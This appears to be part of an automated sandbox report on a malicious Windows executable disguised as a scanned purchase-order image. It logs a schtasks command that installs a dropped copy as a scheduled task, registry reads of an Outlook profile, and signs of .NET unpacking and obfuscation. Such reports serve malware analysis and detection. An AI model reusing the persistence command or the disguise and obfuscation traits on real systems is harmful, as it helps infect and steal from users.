Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Process created: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe "C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HJnkiZjAPsec" /XML "C:\Users\user\AppData\Local\Temp\tmpCB45.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Process created: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe "C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Section loaded: dpapi.dll

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.41d0b90.2.raw.unpack, Uo.cs	.Net Code: _202A_202E_206E_206A_202B_206A_200E_200D_206F_200D_200C_200B_206E_202C_202B_200E_206A_202D_202A_202C_202E_206B_202C_202E_202D_206F_206C_200E_202D_206B_202D_206D_202A_200C_200C_200B_200C_202B_200D_202E_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.4c6df10.0.raw.unpack, Gh561AECFfZnyUrvtJ.cs	.Net Code: Eei3vKKCp3YTRj3t1Js System.Reflection.Assembly.Load(byte[])
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.c120000.6.raw.unpack, Gh561AECFfZnyUrvtJ.cs	.Net Code: Eei3vKKCp3YTRj3t1Js System.Reflection.Assembly.Load(byte[])
Source: 0.2.Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.7c00000.5.raw.unpack, Uo.cs	.Net Code: _202A_202E_206E_206A_202B_206A_200E_200D_206F_200D_200C_200B_206E_202C_202B_200E_206A_202D_202A_202C_202E_206B_202C_202E_202D_206F_206C_200E_202D_206B_202D_206D_202A_200C_200C_200B_200C_202B_200D_202E_202E System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 0_2_05689168 pushad ; iretd	0_2_05689169
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 0_2_0568916A push esp; iretd	0_2_05689171
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 0_2_0573DF67 push eax; mov dword ptr [esp], ecx	0_2_0573DF7C
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 0_2_0C1C0526 push ss; ret	0_2_0C1C0527
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 0_2_0C1C1638 pushfd ; iretd	0_2_0C1C1639
Source: C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Code function: 6_2_06919233 push es; ret	6_2_06919244
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_05219168 pushad ; iretd	8_2_05219169
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_0521916B push esp; iretd	8_2_05219171
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 8_2_085A2FB0 push 280561D5h; iretd	8_2_085A3B35
Source: C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe	Code function: 11_2_06969233 push es; ret	11_2_06969244

Source: Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe	Static PE information: section name: .text entropy: 7.8591431826748455
Source: HJnkiZjAPsec.exe.0.dr	Static PE information: section name: .text entropy: 7.8591431826748455

